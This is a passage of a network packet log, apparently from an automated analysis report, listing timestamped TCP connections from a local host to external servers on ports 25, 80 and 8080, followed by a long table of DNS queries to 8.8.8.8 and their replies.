Jan 7, 2022 15:44:45.906779051 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:45.908555031 CET	25	49996	185.175.124.58	192.168.2.6
Jan 7, 2022 15:44:45.914483070 CET	49996	25	192.168.2.6	185.175.124.58
Jan 7, 2022 15:44:53.466341972 CET	50105	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:56.480523109 CET	50105	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:45:02.482012987 CET	50105	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:45:03.158873081 CET	50106	8080	192.168.2.6	193.166.255.171
Jan 7, 2022 15:45:06.168834925 CET	50106	8080	192.168.2.6	193.166.255.171

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2022 15:42:39.859246016 CET	58384	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:39.877269983 CET	53	58384	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:39.970640898 CET	60261	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:39.990343094 CET	53	60261	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:40.008066893 CET	56061	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:40.024259090 CET	53	56061	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:40.054297924 CET	58336	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:40.072585106 CET	53	58336	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:40.138849974 CET	53781	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:40.161786079 CET	53	53781	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:40.194456100 CET	54064	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:40.211585999 CET	53	54064	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:40.214345932 CET	52811	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:40.232741117 CET	53	52811	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:40.235718966 CET	55299	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:40.254437923 CET	53	55299	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:40.257447958 CET	63745	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:40.275813103 CET	53	63745	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:40.279301882 CET	50055	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:40.304883003 CET	53	50055	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:40.307836056 CET	61374	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:40.326297045 CET	53	61374	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:40.356440067 CET	50339	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:40.374686956 CET	53	50339	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:40.377882957 CET	63307	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:40.396159887 CET	53	63307	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:40.595124006 CET	49694	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:40.623662949 CET	53	49694	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:44.180003881 CET	54982	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:44.198776960 CET	53	54982	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:44.201246023 CET	50010	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:44.219352007 CET	53	50010	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:45.271183014 CET	63718	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:45.289045095 CET	53	63718	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:45.291946888 CET	62116	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:45.309068918 CET	53	62116	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:46.470040083 CET	55014	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:46.488270998 CET	53	55014	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:46.490412951 CET	62208	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:46.508656979 CET	53	62208	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:46.510795116 CET	57574	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:46.528925896 CET	53	57574	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:50.252504110 CET	51818	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:50.270710945 CET	53	51818	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:50.272695065 CET	56628	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:50.291646004 CET	53	56628	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:50.295320034 CET	60778	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:50.311991930 CET	53	60778	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:50.316132069 CET	53799	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:50.335127115 CET	53	53799	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:50.339575052 CET	54683	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:50.358594894 CET	53	54683	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:50.361334085 CET	59329	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:50.377494097 CET	53	59329	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:51.329169989 CET	64021	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:51.347239971 CET	53	64021	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:51.351622105 CET	56129	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:51.370893955 CET	53	56129	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:51.376250982 CET	58177	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:51.393126011 CET	53	58177	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:51.941519976 CET	50700	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:51.960689068 CET	53	50700	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:51.963363886 CET	54069	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:51.982016087 CET	53	54069	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:52.984749079 CET	61178	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:53.015743971 CET	53	61178	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:53.020217896 CET	57017	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:53.038933039 CET	53	57017	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:53.045526028 CET	56327	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:53.064141989 CET	53	56327	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:53.071995020 CET	50243	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:53.090786934 CET	53	50243	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:55.089317083 CET	62055	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:55.109014034 CET	53	62055	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:55.111010075 CET	61249	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:55.127198935 CET	53	61249	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:55.129780054 CET	65252	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:55.148159027 CET	53	65252	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:55.153701067 CET	64367	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:55.171936989 CET	53	64367	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:55.470927954 CET	55066	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:55.489825010 CET	53	55066	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:55.492965937 CET	60211	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:55.512135029 CET	53	60211	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:55.730329990 CET	56570	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:55.748945951 CET	53	56570	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:55.753998995 CET	58454	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:55.772427082 CET	53	58454	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:56.016231060 CET	55180	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:56.035130024 CET	53	55180	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:56.037198067 CET	58721	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:56.055401087 CET	53	58721	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:56.626439095 CET	57691	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:56.645096064 CET	53	57691	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:56.650507927 CET	52943	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:56.669297934 CET	53	52943	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:56.677476883 CET	59489	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:56.696043968 CET	53	59489	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:59.932161093 CET	64022	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:59.948590994 CET	53	64022	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:59.953293085 CET	60023	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:59.971400976 CET	53	60023	8.8.8.8	192.168.2.6
Jan 7, 2022 15:42:59.976969004 CET	57193	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:42:59.995744944 CET	53	57193	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:00.056111097 CET	50248	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:00.074239016 CET	53	50248	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:00.094012976 CET	64413	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:00.112238884 CET	53	64413	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:00.134042025 CET	60429	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:00.152204037 CET	53	60429	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:00.161859989 CET	60345	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:00.180583000 CET	53	60345	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:00.183856964 CET	58730	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:00.201236010 CET	53	58730	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:00.300576925 CET	53830	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:00.320313931 CET	53	53830	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:00.323129892 CET	57226	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:00.348649025 CET	53	57226	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:00.355676889 CET	57880	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:00.374444962 CET	53	57880	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:00.381537914 CET	60850	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:00.398364067 CET	53	60850	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:00.401422977 CET	53187	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:00.427978039 CET	53	53187	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:00.433181047 CET	55830	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:00.451740026 CET	53	55830	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:00.481391907 CET	55145	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:00.499517918 CET	53	55145	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:00.503155947 CET	64091	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:00.519512892 CET	53	64091	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:00.616314888 CET	55728	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:00.632596970 CET	55694	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:00.635530949 CET	53	55728	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:00.648462057 CET	53926	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:00.655452967 CET	53	55694	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:00.665254116 CET	53	53926	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:00.794572115 CET	65531	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:00.795352936 CET	65437	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:00.812539101 CET	53	65531	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:00.813565969 CET	53	65437	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:00.815984011 CET	54590	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:00.834146976 CET	53	54590	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:01.171770096 CET	51318	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:01.172036886 CET	60888	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:01.189938068 CET	53	51318	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:01.190016031 CET	53	60888	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:01.211848021 CET	58474	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:01.211921930 CET	64575	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:01.230060101 CET	53	64575	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:01.230449915 CET	53	58474	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:01.233311892 CET	59092	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:01.233881950 CET	57483	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:01.252012014 CET	53	59092	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:01.252352953 CET	53	57483	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:01.254961967 CET	53830	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:01.273448944 CET	53	53830	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:01.275758982 CET	49809	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:01.323827028 CET	53	49809	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:01.326880932 CET	52814	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:01.343069077 CET	53	52814	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:01.827986956 CET	51069	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:01.847141981 CET	53	51069	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:01.849302053 CET	56526	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:01.867736101 CET	53	56526	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:01.871912956 CET	50512	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:01.890590906 CET	53	50512	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:02.130620003 CET	51679	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:02.152782917 CET	53	51679	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:02.161811113 CET	56071	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:02.180645943 CET	53	56071	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:02.203635931 CET	58950	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:02.221712112 CET	53	58950	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:02.245505095 CET	57035	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:02.263765097 CET	53	57035	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:02.339976072 CET	54122	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:02.358717918 CET	53	54122	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:02.360651970 CET	56759	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:02.377685070 CET	53	56759	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:02.380156040 CET	59220	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:02.398866892 CET	53	59220	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:02.401405096 CET	62211	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:02.420101881 CET	53	62211	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:02.542294025 CET	62033	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:02.561100006 CET	53	62033	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:02.563410044 CET	61244	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:02.582128048 CET	53	61244	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:02.725367069 CET	53696	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:02.742088079 CET	53	53696	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:02.797005892 CET	50733	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:02.813196898 CET	53	50733	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:02.815220118 CET	55770	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:02.834284067 CET	53	55770	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:02.858990908 CET	54525	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:02.877178907 CET	53	54525	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:02.880230904 CET	61760	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:02.898269892 CET	53	61760	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:03.031306028 CET	63822	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:03.049392939 CET	53	63822	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:03.054553032 CET	50957	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:03.072959900 CET	53	50957	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:03.171902895 CET	59666	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:03.190459967 CET	53	59666	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:04.273231983 CET	60136	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:04.294063091 CET	53	60136	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:04.296348095 CET	55649	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:04.449450970 CET	53	55649	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:04.451786995 CET	51524	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:04.470519066 CET	53	51524	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:05.438354969 CET	49682	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:05.456799984 CET	53	49682	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:05.645740986 CET	49709	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:05.673825026 CET	53	49709	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:05.905977011 CET	59384	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:06.123943090 CET	53	59384	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:06.152646065 CET	50284	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:06.540795088 CET	53089	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:06.559441090 CET	53	53089	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:06.578681946 CET	53	50284	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:11.530853033 CET	54097	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:11.552047968 CET	53	54097	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:11.555354118 CET	59502	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:11.595856905 CET	53	59502	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:11.598994017 CET	57959	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:11.615453959 CET	53	57959	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:11.619368076 CET	54971	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:11.644977093 CET	53	54971	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:11.646986961 CET	50969	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:11.665970087 CET	53	50969	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:11.667985916 CET	52183	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:11.684942961 CET	53	52183	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:12.472048044 CET	63354	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:12.680766106 CET	53	63354	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:12.700150013 CET	50635	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:12.721050024 CET	53	50635	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:12.723164082 CET	61603	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:12.744549990 CET	53	61603	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:13.033278942 CET	58318	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:13.095148087 CET	53	58318	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:16.378437996 CET	57763	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:16.399806976 CET	53	57763	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:16.772202969 CET	50111	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:16.792947054 CET	53	50111	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:17.236401081 CET	57206	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:17.257046938 CET	53	57206	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:17.484442949 CET	57132	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:17.519082069 CET	53	57132	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:18.103327990 CET	55483	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:18.140414953 CET	53	55483	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:18.948661089 CET	61626	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:18.954781055 CET	59675	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:18.967026949 CET	53	61626	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:18.974780083 CET	53	59675	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:18.974917889 CET	60149	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:18.980065107 CET	62141	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:18.993216038 CET	53	60149	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:18.999150038 CET	53	62141	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.375569105 CET	49345	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.392472029 CET	53	49345	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.423597097 CET	64074	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.425616980 CET	55829	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.425942898 CET	62260	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.426179886 CET	64211	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.426372051 CET	52578	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.426467896 CET	50711	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.426748991 CET	61820	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.445147038 CET	53	61820	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.446434021 CET	53	64211	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.447037935 CET	57735	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.448276043 CET	53	52578	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.449975014 CET	55006	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.452931881 CET	53	64074	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.453398943 CET	53	50711	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.453835964 CET	56061	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.469961882 CET	63969	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.470139980 CET	56101	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.471607924 CET	53	56061	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.472902060 CET	53	55006	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.473473072 CET	62167	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.475208998 CET	58929	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.479402065 CET	53	55829	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.493465900 CET	53	62167	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.496929884 CET	64113	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.499631882 CET	53	63969	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.502331018 CET	53	56101	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.503637075 CET	53	58929	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.505637884 CET	63520	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.517237902 CET	53	64113	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.522567034 CET	57347	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.523623943 CET	53	63520	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.525352001 CET	51839	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.544104099 CET	53	51839	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.546881914 CET	59552	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.553174019 CET	53	57347	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.563334942 CET	53	59552	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.564070940 CET	51149	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.564213037 CET	65392	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.579058886 CET	56831	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.580810070 CET	53	51149	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.583282948 CET	53	65392	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.594898939 CET	58224	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.594959021 CET	63852	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.601183891 CET	53	56831	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.610537052 CET	50342	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.613576889 CET	53	63852	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.619029999 CET	53	57735	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.621129036 CET	62748	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.625858068 CET	52084	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.633722067 CET	53	58224	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.635505915 CET	62963	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.640120029 CET	53	62748	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.652105093 CET	53	62963	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.653446913 CET	53	52084	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.655121088 CET	53	50342	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.657706976 CET	54617	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.672925949 CET	58962	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.693680048 CET	53	58962	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.720366955 CET	49879	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.721470118 CET	53	54617	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.735413074 CET	64380	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.738574982 CET	53	49879	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.751065016 CET	65394	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.754286051 CET	53	64380	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.766927004 CET	65442	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.769460917 CET	53	65394	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.771368027 CET	55371	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.799297094 CET	53	55371	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.800513983 CET	53	65442	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.802537918 CET	50700	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:19.821096897 CET	53	50700	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:19.852524996 CET	53	62260	8.8.8.8	192.168.2.6
Jan 7, 2022 15:43:20.377147913 CET	56092	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:43:20.407399893 CET	53	56092	8.8.8.8	192.168.2.6
